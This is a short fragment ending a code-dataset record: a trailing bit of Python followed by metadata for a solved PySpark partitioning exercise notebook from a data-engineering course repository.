start_time))\n","repo_name":"WilliamCVan/NFLX-VIRT-DATA-PT-08-2022-E-LOLC","sub_path":"01-Lesson-Plans/05-Optimizing_PySpark-1/2/Activities/04-Stu_Partitioning/Solved/Practicing_Partitions_Solved.ipynb","file_name":"Practicing_Partitions_Solved.ipynb","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"}